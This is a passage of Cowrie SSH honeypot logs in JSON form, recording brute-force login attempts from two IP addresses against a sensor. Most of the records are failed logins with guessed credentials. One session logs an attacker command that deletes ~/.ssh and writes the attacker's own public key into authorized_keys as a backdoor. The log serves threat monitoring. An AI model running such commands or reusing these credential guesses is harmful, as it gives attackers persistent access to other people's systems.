6","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:03.015497Z","src_ip":"202.145.0.61","session":"2c5d5cb40ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qwe!@#","message":"login attempt [test/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:04.013764Z","src_ip":"202.145.0.61","session":"2c5d5cb40ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:05.260916Z","src_ip":"202.145.0.61","session":"2c5d5cb40ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":37724,"dst_ip":"159.203.135.109","dst_port":22,"session":"5819147c50c7","protocol":"ssh","message":"New connection: 119.28.9.170:37724 (159.203.135.109:22) [session: 5819147c50c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:36.702751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:36.709952Z","src_ip":"119.28.9.170","session":"5819147c50c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:36.923236Z","src_ip":"119.28.9.170","session":"5819147c50c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2023","message":"login attempt [ubuntu/Pass@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:37.794347Z","src_ip":"119.28.9.170","session":"5819147c50c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:39.010803Z","src_ip":"119.28.9.170","session":"5819147c50c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":51538,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbdea8add69f","protocol":"ssh","message":"New connection: 202.145.0.61:51538 (159.203.135.109:22) [session: fbdea8add69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:59.338595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:59.344303Z","src_ip":"202.145.0.61","session":"fbdea8add69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:14:59.583500Z","src_ip":"202.145.0.61","session":"fbdea8add69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop2","password":"hadoop2","message":"login attempt [hadoop2/hadoop2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:00.571786Z","src_ip":"202.145.0.61","session":"fbdea8add69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:01.814727Z","src_ip":"202.145.0.61","session":"fbdea8add69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":53904,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db66ea6ccdc","protocol":"ssh","message":"New connection: 119.28.9.170:53904 (159.203.135.109:22) [session: 7db66ea6ccdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:31.059025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:31.064036Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:31.272563Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:32.137087Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:32.601596Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:32.605054Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:32.609284Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:32.822943Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.274038Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.277045Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.489847Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.493697Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":54848,"dst_ip":"159.203.135.109","dst_port":22,"session":"d826695f7304","protocol":"ssh","message":"New connection: 119.28.9.170:54848 (159.203.135.109:22) [session: d826695f7304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.690350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.695776Z","src_ip":"119.28.9.170","session":"d826695f7304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:33.904977Z","src_ip":"119.28.9.170","session":"d826695f7304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:34.767908Z","src_ip":"119.28.9.170","session":"d826695f7304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:35.979801Z","src_ip":"119.28.9.170","session":"d826695f7304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":55666,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a3202f819b","protocol":"ssh","message":"New connection: 119.28.9.170:55666 (159.203.135.109:22) [session: 91a3202f819b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:36.186115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:36.196085Z","src_ip":"119.28.9.170","session":"91a3202f819b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:36.406961Z","src_ip":"119.28.9.170","session":"91a3202f819b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:37.274686Z","src_ip":"119.28.9.170","session":"91a3202f819b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:37.487280Z","src_ip":"119.28.9.170","session":"7db66ea6ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:37.497854Z","src_ip":"119.28.9.170","session":"91a3202f819b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":40034,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d0c81faad17","protocol":"ssh","message":"New connection: 202.145.0.61:40034 (159.203.135.109:22) [session: 5d0c81faad17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:54.951599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:54.957587Z","src_ip":"202.145.0.61","session":"5d0c81faad17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:55.199568Z","src_ip":"202.145.0.61","session":"5d0c81faad17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"a","message":"login attempt [devops/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:56.196236Z","src_ip":"202.145.0.61","session":"5d0c81faad17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:15:57.441294Z","src_ip":"202.145.0.61","session":"5d0c81faad17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":41846,"dst_ip":"159.203.135.109","dst_port":22,"session":"787ad70dd6ae","protocol":"ssh","message":"New connection: 119.28.9.170:41846 (159.203.135.109:22) [session: 787ad70dd6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:21.842883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:21.853109Z","src_ip":"119.28.9.170","session":"787ad70dd6ae","protocol":"ssh"}
